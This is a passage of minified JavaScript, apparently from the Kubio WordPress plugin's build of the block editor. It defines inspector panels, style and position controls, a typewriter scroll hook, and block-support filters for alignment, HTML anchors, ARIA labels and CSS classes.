set","kubio"),value:""},...o.map((({label:e,name:t})=>({label:e,value:t})))]),[o]),r=(0,u.useMemo)((()=>{var e;return null===(e=S_(o))||void 0===e?void 0:e.name}),[o]),l=(0,u.useCallback)((t=>{n(e,t)}),[e,n]);return t&&t!==r?n&&(0,Nt.jsx)("div",{className:"default-style-picker__default-switcher",children:(0,Nt.jsx)(ne.SelectControl,{__nextHasNoMarginBottom:!0,options:i,value:t||"",label:(0,Je.__)("Default Style","kubio"),onChange:l})}):null}const GP=()=>{const e=(0,ne.__experimentalUseSlotFills)(Ek.slotName);return Boolean(e&&e.length)?(0,Nt.jsx)(ne.PanelBody,{className:"block-editor-block-inspector__advanced",title:(0,Je.__)("Advanced"),initialOpen:!1,children:(0,Nt.jsx)(Tk.Slot,{group:"advanced"})}):null},$P=()=>{const{selectedClientIds:e,selectedBlocks:t,hasPositionAttribute:n}=(0,d.useSelect)((e=>{const{getBlocksByClientId:t,getSelectedBlockClientIds:n}=e(hs),o=n(),i=t(o);return{selectedClientIds:o,selectedBlocks:i,hasPositionAttribute:null==i?void 0:i.some((({attributes:e})=>{var t,n;return!(null==e||null===(t=e.style)||void 0===t||null===(n=t.position)||void 0===n||!n.type)}))}}),[]),{updateBlockAttributes:o}=(0,d.useDispatch)(hs);function i(){if(null==e||!e.length||null==t||!t.length)return;const n=Object.fromEntries(null==t?void 0:t.map((({clientId:e,attributes:t})=>{var n;return[e,{style:AM({...null==t?void 0:t.style,position:{...null==t||null===(n=t.style)||void 0===n?void 0:n.position,type:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0}})}]})));o(e,n,!0)}return(0,Nt.jsx)(ne.__experimentalToolsPanel,{className:"block-editor-block-inspector__position",label:(0,Je.__)("Position","kubio"),resetAll:i,children:(0,Nt.jsx)(ne.__experimentalToolsPanelItem,{isShownByDefault:n,label:(0,Je.__)("Position","kubio"),hasValue:()=>n,onDeselect:i,children:(0,Nt.jsx)(Tk.Slot,{group:"position"})})})},UP=()=>{const e=(0,ne.__experimentalUseSlotFills)(_k.position.name);return Boolean(e&&e.length)?(0,Nt.jsx)($P,{}):null},WP=({showAdvancedControls:e=!1})=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(Tk.Slot,{}),(0,Nt.jsx)(UP,{}),(0,Nt.jsx)(Tk.Slot,{group:"bindings"}),e&&(0,Nt.jsx)("div",{children:(0,Nt.jsx)(GP,{})})]}),KP=({blockName:e,clientId:t,hasBlockStyles:n})=>{const o=TP({blockName:e});return(0,Nt.jsxs)(Nt.Fragment,{children:[n&&(0,Nt.jsx)("div",{children:(0,Nt.jsxs)(ne.PanelBody,{title:(0,Je.__)("Styles","kubio"),children:[(0,Nt.jsx)(tS,{clientId:t}),(0,c.hasBlockSupport)(e,"defaultStylePicker",!0)&&(0,Nt.jsx)(HP,{blockName:e})]})}),(0,Nt.jsx)(Tk.Slot,{group:"color",label:(0,Je.__)("Color","kubio"),className:"color-block-support-panel__inner-wrapper"}),(0,Nt.jsx)(Tk.Slot,{group:"background",label:(0,Je.__)("Background","kubio")}),(0,Nt.jsx)(Tk.Slot,{group:"filter"}),(0,Nt.jsx)(Tk.Slot,{group:"typography",label:(0,Je.__)("Typography","kubio")}),(0,Nt.jsx)(Tk.Slot,{group:"dimensions",label:(0,Je.__)("Dimensions","kubio")}),(0,Nt.jsx)(Tk.Slot,{group:"border",label:o}),(0,Nt.jsx)(Tk.Slot,{group:"styles"})]})},ZP=["core/navigation"],qP=e=>!ZP.includes(e),YP=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"})}),XP=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"})}),QP={name:"settings",title:(0,Je.__)("Settings","kubio"),value:"settings",icon:YP,className:"block-editor-block-inspector__tab-item"},JP={name:"styles",title:(0,Je.__)("Styles","kubio"),value:"styles",icon:XP,className:"block-editor-block-inspector__tab-item"},eM={name:"list",title:(0,Je.__)("List View","kubio"),value:"list-view",icon:mx,className:"block-editor-block-inspector__tab-item"};function tM({blockName:e,clientId:t,hasBlockStyles:n,tabs:o}){const i=qP(e)?void 0:eM.name,r=(0,u.useMemo)((()=>o.map((({icon:e,title:t,...n})=>({...n,title:(0,Nt.jsxs)(ne.Flex,{direction:"column",justify:"center",align:"center",gap:0,children:[(0,Nt.jsx)(ne.Icon,{icon:e}),(0,Nt.jsx)("span",{children:t})]})})))),[o]);return(0,Nt.jsx)(ne.TabPanel,{className:"block-editor-block-inspector__tabs kubio-core-blocks-tabs",tabs:r,initialTabName:i,children:o=>o.name===QP.name?(0,Nt.jsx)(WP,{showAdvancedControls:!!e}):o.name===JP.name?(0,Nt.jsx)(KP,{blockName:e,clientId:t,hasBlockStyles:n}):o.name===eM.name?(0,Nt.jsx)(Tk.Slot,{group:"list"}):void 0},t)}const nM=[];function oM(e){var t,n,o,i,r,l,s,a,c;const u=[],{bindings:p,border:h,color:g,default:f,dimensions:m,list:v,position:b,styles:k,typography:_,effects:y}=_k,x=qP(e),S=(0,ne.__experimentalUseSlotFills)((null==v?void 0:v.name)||v.Slot.__unstableName),w=!x&&!!S&&S.length,C=[...(0,ne.__experimentalUseSlotFills)((null==h?void 0:h.name)||(null==h||null===(t=h.Slot)||void 0===t?void 0:t.__unstableName))||[],...(0,ne.__experimentalUseSlotFills)((null==g?void 0:g.name)||(null==g||null===(n=g.Slot)||void 0===n?void 0:n.__unstableName))||[],...(0,ne.__experimentalUseSlotFills)((null==m?void 0:m.name)||(null==m||null===(o=m.Slot)||void 0===o?void 0:o.__unstableName))||[],...(0,ne.__experimentalUseSlotFills)((null==k?void 0:k.name)||(null==k||null===(i=k.Slot)||void 0===i?void 0:i.__unstableName))||[],...(0,ne.__experimentalUseSlotFills)((null==_?void 0:_.name)||(null==_||null===(r=_.Slot)||void 0===r?void 0:r.__unstableName))||[],...(0,ne.__experimentalUseSlotFills)((null==y?void 0:y.name)||(null==y||null===(l=y.Slot)||void 0===l?void 0:l.__unstableName))||[]].length,B=[...(0,ne.__experimentalUseSlotFills)(Ek.slotName)||[],...(0,ne.__experimentalUseSlotFills)((null==p||null===(s=p.Slot)||void 0===s?void 0:s.__unstableName)||(null==p?void 0:p.name))||[]],I=[...(0,ne.__experimentalUseSlotFills)(f.name||(null==f||null===(a=f.Slot)||void 0===a?void 0:a.__unstableName))||[],...(0,ne.__experimentalUseSlotFills)((null==f?void 0:f.name)||(null==b||null===(c=b.Slot)||void 0===c?void 0:c.__unstableName))||[],...w&&C>1?B:[],...(0,ne.__experimentalUseSlotFills)()||[]];w&&u.push(eM),I.length&&u.push(QP),C&&u.push(JP);const j=function(e,t={}){return void 0!==t[e]?t[e]:void 0===t.default||t.default}(e,(0,d.useSelect)((e=>e(hs).getSettings().blockInspectorTabs),[]));return j?u:nM}function iM(){const e=(0,d.useSelect)((e=>e(hs).getSelectedBlockCount()),[]);return(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"flex-start",spacing:2,className:"block-editor-multi-selection-inspector__card",children:[(0,Nt.jsx)(Fa,{icon:u_,showColors:!0}),(0,Nt.jsx)("div",{className:"block-editor-multi-selection-inspector__card-title",children:(0,Je.sprintf)(/* translators: %d: number of blocks */ /* translators: %d: number of blocks */(0,Je._n)("%d Block","%d Blocks",e),e)})]})}function rM(){const e=(0,d.useSelect)((e=>e(hs).getBlockSelectionStart()),[]),t=(0,u.useRef)();return vd(e,t),e?(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,variant:"secondary",className:"block-editor-skip-to-selected-block",onClick:()=>{var e;null===(e=t.current)||void 0===e||e.focus()},children:(0,Je.__)("Skip to the selected block")}):null}function lM({clientId:e}){return(0,Nt.jsx)(ne.PanelBody,{title:(0,Je.__)("Styles","kubio"),children:(0,Nt.jsx)(tS,{clientId:e})})}function sM({topLevelLockedBlock:e}){const t=(0,d.useSelect)((t=>{const{getClientIdsOfDescendants:n,getBlockName:o,getBlockEditingMode:i}=t(hs);return n(e).filter((e=>"core/list-item"!==o(e)&&"contentOnly"===i(e)))}),[e]),n=(0,d.useSelect)((t=>{var n;const{getBlockName:o}=t(hs),{getBlockStyles:i}=t(c.store);return!(null===(n=i(o(e)))||void 0===n||!n.length)}),[e]),o=Pk(e);return(0,Nt.jsxs)("div",{className:"block-editor-block-inspector",children:[(0,Nt.jsx)(Xx,{...o,className:o.isSynced&&"is-synced"}),(0,Nt.jsx)(zP.Slot,{}),n&&(0,Nt.jsx)(lM,{clientId:e}),t.length>0&&(0,Nt.jsx)(ne.PanelBody,{title:(0,Je.__)("Content","kubio"),children:(0,Nt.jsx)(FP,{clientIds:t})})]})}const aM=({animate:e,wrapper:t,children:n})=>e?t(n):n,cM=({blockInspectorAnimationSettings:e,selectedBlockClientId:t,children:n})=>{const o=e&&"leftToRight"===e.enterDirection?-50:50;return(0,Nt.jsx)(ne.__unstableMotion.div,{animate:{x:0,opacity:1,transition:{ease:"easeInOut",duration:.14}},initial:{x:o,opacity:0},children:n},t)},uM=({clientId:e,blockName:t})=>{const n=oM(t),{hasBlockStyles:o,hasKubioSupport:i}=(0,d.useSelect)((e=>{const{getBlockStyles:n}=e(c.store),o=n(t);return{hasBlockStyles:o&&o.length>0,hasKubioSupport:(0,c.hasBlockSupport)(t,"kubio")}}),[t]),r=!i&&(null==n?void 0:n.length)>1,l=(Pk(e),TP({blockName:t}));return(0,Nt.jsxs)("div",{className:"block-editor-block-inspector",children:[(0,Nt.jsx)(yS,{blockClientId:e}),(0,Nt.jsx)(zP.Slot,{}),r&&(0,Nt.jsx)(tM,{hasBlockStyles:o,clientId:e,blockName:t,tabs:n}),!r&&(0,Nt.jsxs)(Nt.Fragment,{children:[o&&(0,Nt.jsxs)("div",{children:[(0,Nt.jsx)(lM,{clientId:e}),(0,c.hasBlockSupport)(t,"defaultStylePicker",!0)&&(0,Nt.jsx)(HP,{blockName:t})]}),(0,Nt.jsx)(Tk.Slot,{}),(0,Nt.jsx)(Tk.Slot,{group:"list"}),(0,Nt.jsx)(Tk.Slot,{group:"color",label:(0,Je.__)("Color","kubio"),className:"color-block-support-panel__inner-wrapper"}),(0,Nt.jsx)(Tk.Slot,{group:"typography",label:(0,Je.__)("Typography","kubio")}),(0,Nt.jsx)(Tk.Slot,{group:"dimensions",label:(0,Je.__)("Dimensions","kubio")}),(0,Nt.jsx)(Tk.Slot,{group:"border",label:l}),(0,Nt.jsx)(Tk.Slot,{group:"styles"}),(0,Nt.jsx)(UP,{}),(0,Nt.jsx)(Tk.Slot,{group:"bindings"}),!t.startsWith("kubio/")&&"core/post-content"!==t&&(0,Nt.jsx)("div",{children:(0,Nt.jsx)(GP,{})})]}),(0,Nt.jsx)(rM,{},"back")]})},dM=({showNoBlockSelectedMessage:e=!0})=>{const{count:t,selectedBlockName:n,selectedBlockClientId:o,blockType:i,topLevelLockedBlock:r}=(0,d.useSelect)((e=>{const{getSelectedBlockClientId:t,getSelectedBlockCount:n,getBlockName:o,__unstableGetContentLockingParent:i,getContentLockingParent:r,getTemplateLock:l}=ge(e(hs)),s=t(),a=s&&o(s),u=a&&(0,c.getBlockType)(a),d=r||i;return{count:n(),selectedBlockClientId:s,selectedBlockName:a,blockType:u,topLevelLockedBlock:d(s)||("contentOnly"===l(s)||"core/block"===a?s:void 0)}}),[]),l=oM(null==i?void 0:i.name),s=(null==l?void 0:l.length)>1,a=function(e,t){return(0,d.useSelect)((t=>{if(e){const n=t(hs).getSettings().blockInspectorAnimation,o=null==n?void 0:n.animationParent,{getSelectedBlockClientId:i,getBlockParentsByBlockName:r}=t(hs);return r(i(),o,!0)[0]||e.name===o?null==n?void 0:n[e.name]:null}return null}),[t,e])}(i,o),u=TP({blockName:n});if(t>1)return(0,Nt.jsxs)("div",{className:"block-editor-block-inspector",children:[(0,Nt.jsx)(iM,{}),s?(0,Nt.jsx)(tM,{tabs:l}):(0,Nt.jsxs)("div",{className:"block-editor-block-inspector__tabs kubio-core-blocks-tabs",children:[(0,Nt.jsx)(Tk.Slot,{}),(0,Nt.jsx)(Tk.Slot,{__experimentalGroup:"color",group:"color",label:(0,Je.__)("Color","kubio"),className:"color-block-support-panel__inner-wrapper"}),(0,Nt.jsx)(Tk.Slot,{group:"background",label:(0,Je.__)("Background image","kubio")}),(0,Nt.jsx)(Tk.Slot,{__experimentalGroup:"typography",group:"typography",label:(0,Je.__)("Typography","kubio")}),(0,Nt.jsx)(Tk.Slot,{__experimentalGroup:"dimensions",group:"dimensions",label:(0,Je.__)("Dimensions","kubio")}),(0,Nt.jsx)(Tk.Slot,{group:"border",__experimentalGroup:"border",label:u}),(0,Nt.jsx)(Tk.Slot,{group:"styles"})]})]});const p=n===(0,c.getUnregisteredTypeHandlerName)();return i&&o&&!p?r?(0,Nt.jsx)(sM,{topLevelLockedBlock:r}):(0,Nt.jsx)(aM,{animate:a,wrapper:e=>(0,Nt.jsx)(cM,{blockInspectorAnimationSettings:a,selectedBlockClientId:o,children:e}),children:(0,Nt.jsx)(uM,{clientId:o,blockName:i.name})}):e?(0,Nt.jsx)("span",{className:"block-editor-block-inspector__no-blocks",children:(0,Je.__)("No block selected.","kubio")}):null},pM=()=>(Ye()("__unstableUseClipboardHandler",{alternative:"BlockCanvas or WritingFlow",since:"6.4",version:"6.7"}),qp());function hM(e){return Ye()("CopyHandler",{alternative:"BlockCanvas or WritingFlow",since:"6.4",version:"6.7"}),(0,Nt.jsx)("div",{...e,ref:qp()})}const gM=(0,u.forwardRef)((function({rootClientId:e,clientId:t,isAppender:n,showInserterHelpPanel:o,showMostUsedBlocks:i=!1,__experimentalInsertionIndex:r,onSelect:l=se.noop,shouldFocusBlock:s=!1,shouldSelectBlock:a=!0,ownerDocument:c}){const u=(0,d.useSelect)((n=>{const{getBlockRootClientId:o}=n(hs);return e||o(t)||void 0}),[t,e]);return(0,Nt.jsx)(Wh,{onSelect:l,rootClientId:u,clientId:t,isAppender:n,showInserterHelpPanel:o,showMostUsedBlocks:i,__experimentalInsertionIndex:r,shouldFocusBlock:s,shouldSelectBlock:a,ownerDocument:c})})),fM=(0,u.forwardRef)((function(e,t){return(0,Nt.jsx)(gM,{...e,onPatternCategorySelection:void 0,ref:t})}));function mM(){return Ye()("wp.blockEditor.MultiSelectScrollIntoView",{hint:"This behaviour is now built-in.",since:"5.8"}),null}const vM=-1!==window.navigator.userAgent.indexOf("Trident"),bM=new Set([sd.UP,sd.DOWN,sd.LEFT,sd.RIGHT]),kM=.75;function _M(){const e=(0,d.useSelect)((e=>e(hs).hasSelectedBlock()),[]);return(0,p.useRefEffect)((t=>{if(!e)return;const{ownerDocument:n}=t,{defaultView:o}=n;let i,r,l;function s(){i||(i=o.requestAnimationFrame((()=>{p(),i=null})))}function a(e){r&&o.cancelAnimationFrame(r),r=o.requestAnimationFrame((()=>{c(e),r=null}))}function c({keyCode:e}){if(!h())return;const i=(0,Cp.computeCaretRect)(o);if(!i)return;if(!l)return void(l=i);if(bM.has(e))return void(l=i);const r=i.top-l.top;if(0===r)return;const s=(0,Cp.getScrollContainer)(t);if(!s)return;const a=s===n.body||s===n.documentElement,c=a?o.scrollY:s.scrollTop,u=a?0:s.getBoundingClientRect().top,d=a?l.top/o.innerHeight:(l.top-u)/(o.innerHeight-u);if(0===c&&d<kM&&function(){const e=t.querySelectorAll('[contenteditable="true"]');return e[e.length-1]===n.activeElement}())return void(l=i);const p=a?o.innerHeight:s.clientHeight;l.top+l.height>u+p||l.top<u?l=i:a?o.scrollBy(0,r):s.scrollTop+=r}function u(){n.addEventListener("selectionchange",d)}function d(){n.removeEventListener("selectionchange",d),p()}function p(){h()&&(l=(0,Cp.computeCaretRect)(o))}function h(){return t.contains(n.activeElement)&&n.activeElement.isContentEditable}return o.addEventListener("scroll",s,!0),o.addEventListener("resize",s,!0),t.addEventListener("keydown",a),t.addEventListener("keyup",c),t.addEventListener("mousedown",u),t.addEventListener("touchstart",u),()=>{o.removeEventListener("scroll",s,!0),o.removeEventListener("resize",s,!0),t.removeEventListener("keydown",a),t.removeEventListener("keyup",c),t.removeEventListener("mousedown",u),t.removeEventListener("touchstart",u),n.removeEventListener("selectionchange",d),o.cancelAnimationFrame(i),o.cancelAnimationFrame(r)}}),[e])}const yM=vM?e=>e.children:function({children:e}){return(0,Nt.jsx)("div",{ref:_M(),className:"block-editor__typewriter",children:e})},xM=(0,u.createContext)({});function SM({children:e,uniqueId:t,blockName:n=""}){const o=(0,u.useContext)(xM),{name:i}=S();n=n||i;const r=(0,u.useMemo)((()=>function(e,t,n){const o={...e,[t]:e[t]?new Set(e[t]):new Set};return o[t].add(n),o}(o,n,t)),[o,n,t]);return(0,Nt.jsx)(xM.Provider,{value:r,children:e})}function wM(e,t=""){var n;const o=(0,u.useContext)(xM),{name:i}=S();return t=t||i,Boolean(null===(n=o[t])||void 0===n?void 0:n.has(e))}const CM=e=>(Ye()("wp.blockEditor.__experimentalRecursionProvider",{since:"6.5",alternative:"wp.blockEditor.RecursionProvider"}),(0,Nt.jsx)(SM,{...e})),BM=e=>(Ye()("wp.blockEditor.__experimentalUseHasRecursion",{since:"6.5",alternative:"wp.blockEditor.useHasRecursion"}),wM(...e));function IM({title:e,help:t,actions:n=[],onClose:o}){return(0,Nt.jsxs)(ne.__experimentalVStack,{className:"block-editor-inspector-popover-header",spacing:4,children:[(0,Nt.jsxs)(ne.__experimentalHStack,{alignment:"center",children:[(0,Nt.jsx)(ne.__experimentalHeading,{className:"block-editor-inspector-popover-header__heading",level:2,size:13,children:e}),(0,Nt.jsx)(ne.__experimentalSpacer,{}),n.map((({label:e,icon:t,onClick:n})=>(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,className:"block-editor-inspector-popover-header__action",label:e,icon:t,variant:!t&&"tertiary",onClick:n,children:!t&&e},e))),o&&(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,className:"block-editor-inspector-popover-header__action",label:(0,Je.__)("Close"),icon:Ld,onClick:o})]}),t&&(0,Nt.jsx)(ne.__experimentalText,{children:t})]})}const jM=(0,u.forwardRef)((function({onClose:e,onChange:t,showPopoverHeaderActions:n,isCompact:o,currentDate:i,...r},l){const s={startOfWeek:(0,JS.getSettings)().l10n.startOfWeek,onChange:t,currentDate:o?void 0:i,currentTime:o?i:void 0,...r},a=o?ne.TimePicker:ne.DateTimePicker;return(0,Nt.jsxs)("div",{ref:l,className:"block-editor-publish-date-time-picker",children:[(0,Nt.jsx)(IM,{title:(0,Je.__)("Publish","kubio"),actions:n?[{label:(0,Je.__)("Now","kubio"),onClick:()=>null==t?void 0:t(null)}]:void 0,onClose:e}),(0,Nt.jsx)(a,{...s})]})})),EM=(0,u.forwardRef)((function(e,t){return(0,Nt.jsx)(jM,{...e,showPopoverHeaderActions:!0,isCompact:!1,ref:t})}));function TM(e){const t=S(),{clientId:n=""}=t,{setBlockEditingMode:o,unsetBlockEditingMode:i}=(0,d.useDispatch)(hs),r=(0,d.useSelect)((e=>n?null:e(hs).getBlockEditingMode()),[n]);return(0,u.useEffect)((()=>(e&&o(n,e),()=>{e&&i(n)})),[n,e,o,i]),n?t[m]:r}const{ComponentsContext:PM}=ge(ne.privateApis),MM=PM?PM.Provider:u.Fragment,RM=({children:e})=>{const{uiVersion:t}=(0,vg.useUIVersion)(),n=(0,u.useMemo)((()=>({ToolsPanel:{_overrides:{dropdownMenuProps:1===t?wj:Sj}}})),[t]);return(0,Nt.jsx)(MM,{value:n,children:e})},NM=dB,AM=e=>{if(null===e||"object"!=typeof e||Array.isArray(e))return e;const t=Object.entries(e).map((([e,t])=>[e,AM(t)])).filter((([,e])=>void 0!==e));return t.length?Object.fromEntries(t):void 0};function LM(e,t,n,o,i,r){var l;if(Object.values(null!=e?e:{}).every((e=>!e)))return n;if(1===r.length&&n.innerBlocks.length===o.length)return n;let s=null===(l=o[0])||void 0===l?void 0:l.attributes;if(r.length>1&&o.length>1){if(!o[i])return n;var a;s=null===(a=o[i])||void 0===a?void 0:a.attributes}let c=n;return Object.entries(e).forEach((([e,n])=>{n&&t[e].forEach((e=>{const t=Gt(s,e);t&&(c={...c,attributes:Ht(c.attributes,e,t)})}))})),c}function DM(e,t,n){const o=(0,c.getBlockSupport)(e,t),i=null==o?void 0:o.__experimentalSkipSerialization;return Array.isArray(i)?i.includes(n):i}const OM=new WeakMap;function zM({id:e,css:t}){return FM({id:e,css:t})}function FM({id:e,css:t,assets:n,__unstableType:o,variation:i,clientId:r}={}){const{setStyleOverride:l,deleteStyleOverride:s}=ge((0,d.useDispatch)(hs)),a=(0,d.useRegistry)(),c=(0,u.useId)();(0,u.useEffect)((()=>{if(!t&&!n)return;const u=e||c,d={id:e,css:t,assets:n,__unstableType:o,variation:i,clientId:r};return OM.get(a)||OM.set(a,[]),OM.get(a).push([u,d]),window.queueMicrotask((()=>{var e;null!==(e=OM.get(a))&&void 0!==e&&e.length&&a.batch((()=>{OM.get(a).forEach((e=>{l(...e)})),OM.set(a,[])}))})),()=>{var e;(null===(e=OM.get(a))||void 0===e?void 0:e.find((([e])=>e===u)))?OM.set(a,OM.get(a).filter((([e])=>e!==u))):s(u)}}),[e,t,r,n,o,c,l,s,a])}function VM(e,t){const[n,o,i,r,l,s,a,c,d,p,h,g,f,m,v,b,k,_,y,x,S,w,C,B,I,j,E,T,P,M,R,N,A,L,D,O,z,F,V,H,G,$,U,W,K,Z,q,Y,X,Q,J,ee,te,ne,oe,ie]=Vs("background.backgroundImage","background.backgroundSize","typography.fontFamilies.custom","typography.fontFamilies.default","typography.fontFamilies.theme","typography.defaultFontSizes","typography.fontSizes.custom","typography.fontSizes.default","typography.fontSizes.theme","typography.customFontSize","typography.fontStyle","typography.fontWeight","typography.lineHeight","typography.textAlign","typography.textColumns","typography.textDecoration","typography.writingMode","typography.textTransform","typography.letterSpacing","spacing.padding","spacing.margin","spacing.blockGap","spacing.defaultSpacingSizes","spacing.customSpacingSize","spacing.spacingSizes.custom","spacing.spacingSizes.default","spacing.spacingSizes.theme","spacing.units","dimensions.aspectRatio","dimensions.minHeight","layout","border.color","border.radius","border.style","border.width","color.custom","color.palette.custom","color.customDuotone","color.palette.theme","color.palette.default","color.defaultPalette","color.defaultDuotone","color.duotone.custom","color.duotone.theme","color.duotone.default","color.gradients.custom","color.gradients.theme","color.gradients.default","color.defaultGradients","color.customGradient","color.background","color.link","color.text","color.heading","color.button","shadow");return Aj((0,u.useMemo)((()=>({background:{backgroundImage:n,backgroundSize:o},color:{palette:{custom:z,theme:V,default:H},gradients:{custom:Z,theme:q,default:Y},duotone:{custom:U,theme:W,default:K},defaultGradients:X,defaultPalette:G,defaultDuotone:$,custom:O,customGradient:Q,customDuotone:F,background:J,link:ee,heading:ne,button:oe,text:te},typography:{fontFamilies:{custom:i,default:r,theme:l},fontSizes:{custom:a,default:c,theme:d},customFontSize:p,defaultFontSizes:s,fontStyle:h,fontWeight:g,lineHeight:f,textAlign:m,textColumns:v,textDecoration:b,textTransform:_,letterSpacing:y,writingMode:k},spacing:{spacingSizes:{custom:I,default:j,theme:E},customSpacingSize:B,defaultSpacingSizes:C,padding:x,margin:S,blockGap:w,units:T},border:{color:N,radius:A,style:L,width:D},dimensions:{aspectRatio:P,minHeight:M},layout:R,parentLayout:t,shadow:ie})),[n,o,i,r,l,s,a,c,d,p,h,g,f,m,v,b,_,y,k,x,S,w,C,B,I,j,E,T,P,M,R,t,N,A,L,D,O,z,F,V,H,G,$,U,W,K,Z,q,Y,X,Q,J,ee,te,ne,oe,ie]),e)}const HM=(0,u.memo)((function({index:e,useBlockProps:t,setAllWrapperProps:n,...o}){const i=t(o),r=t=>n((n=>{const o=[...n];return o[e]=t,o}));return(0,u.useEffect)((()=>(r(i),()=>{r(void 0)}))),null}));(0,h.addFilter)("blocks.registerBlockType","core/compat/migrateLightBlockWrapper",(function(e){const{apiVersion:t=1}=e;return t<2&&(0,c.hasBlockSupport)(e,"lightBlockWrapper",!1)&&(e.apiVersion=3),e}));const GM=["left","center","right","wide","full"],$M=["wide","full"];function UM(e,t=!0,n=!0){let o;return o=Array.isArray(e)?GM.filter((t=>e.includes(t))):!0===e?[...GM]:[],!n||!0===e&&!t?o.filter((e=>!$M.includes(e))):o}const WM={shareWithChildBlocks:!0,edit:function({name:e,align:t,setAttributes:n}){const o=Yu(UM((0,c.getBlockSupport)(e,"align"),(0,c.hasBlockSupport)(e,"alignWide",!0))).map((({name:e})=>e)),i=TM();return o.length&&"default"===i?(0,Nt.jsx)(H_,{group:"block",__experimentalShareWithChildBlocks:!0,children:(0,Nt.jsx)(od,{value:t,onChange:t=>{if(!t){var o,i;const n=(0,c.getBlockType)(e);(null==n||null===(o=n.attributes)||void 0===o||null===(i=o.align)||void 0===i?void 0:i.default)&&(t="")}n({align:t})},controls:o})}):null},useBlockProps:function({name:e,align:t}){return Yu(UM((0,c.getBlockSupport)(e,"align"),(0,c.hasBlockSupport)(e,"alignWide",!0))).some((e=>e.name===t))?{"data-align":t}:{}},addSaveProps:function(e,t,n){const{align:o}=n;return UM((0,c.getBlockSupport)(t,"align"),(0,c.hasBlockSupport)(t,"alignWide",!0)).includes(o)&&(e.className=ms(`align${o}`,e.className)),e},attributeKeys:["align"],hasSupport:e=>(0,c.hasBlockSupport)(e,"align",!1)};(0,h.addFilter)("blocks.registerBlockType","core/editor/align/addAttribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.align)&&void 0!==t?t:{})||(0,c.hasBlockSupport)(e,"align")&&(e.attributes={...e.attributes,align:{type:"string",enum:[...GM,""]}}),e})),(0,h.addFilter)("blocks.registerBlockType","core/lock/addAttribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.lock)&&void 0!==t?t:{})||(e.attributes={...e.attributes,lock:{type:"object"}}),e}));const KM=/[\s#]/g,ZM={type:"string",source:"attribute",attribute:"id",selector:"*"},qM={addSaveProps:function(e,t,n){return(0,c.hasBlockSupport)(t,"anchor")&&(e.id=""===n.anchor?null:n.anchor),e},edit:function({anchor:e,setAttributes:t}){if("default"!==TM())return null;const n="web"===u.Platform.OS;return(0,Nt.jsx)(Tk,{group:"advanced",children:(0,Nt.jsx)(ne.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,className:"html-anchor-control",label:(0,Je.__)("HTML anchor","kubio"),help:(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Je.__)("Enter a word or two — without spaces — to make a unique web address just for this block, called an “anchor”. Then, you’ll be able to link directly to this section of your page.","kubio"),n&&(0,Nt.jsxs)(Nt.Fragment,{children:[" ",(0,Nt.jsx)(ne.ExternalLink,{href:(0,Je.__)("https://wordpress.org/documentation/article/page-jumps/","kubio"),children:(0,Je.__)("Learn more about anchors","kubio")})]})]}),value:e||"",placeholder:n?null:(0,Je.__)("Add an anchor","kubio"),onChange:e=>{e=e.replace(KM,"-"),t({anchor:e})},autoCapitalize:"none",autoComplete:"off"})})},attributeKeys:["anchor"],hasSupport:e=>(0,c.hasBlockSupport)(e,"anchor")};(0,h.addFilter)("blocks.registerBlockType","core/anchor/attribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.anchor)&&void 0!==t?t:{})||(0,c.hasBlockSupport)(e,"anchor")&&(e.attributes={...e.attributes,anchor:ZM}),e}));const YM={addSaveProps:function(e,t,n){return(0,c.hasBlockSupport)(t,"ariaLabel")&&(e["aria-label"]=""===n.ariaLabel?null:n.ariaLabel),e},attributeKeys:["ariaLabel"],hasSupport:e=>(0,c.hasBlockSupport)(e,"ariaLabel")};(0,h.addFilter)("blocks.registerBlockType","core/ariaLabel/attribute",(function(e){var t,n;return null!=e&&null!==(t=e.attributes)&&void 0!==t&&null!==(n=t.ariaLabel)&&void 0!==n&&n.type||(0,c.hasBlockSupport)(e,"ariaLabel")&&(e.attributes={...e.attributes,ariaLabel:{type:"string"}}),e}));const XM={edit:function({className:e,setAttributes:t}){return"default"!==TM()?null:(0,Nt.jsx)(Tk,{group:"advanced",children:(0,Nt.jsx)(ne.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,autoComplete:"off",label:(0,Je.__)("Additional CSS class(es)"),value:e||"",onChange:e=>{t({className:""!==e?e:void 0})},help:(0,Je.__)("Separate multiple classes with 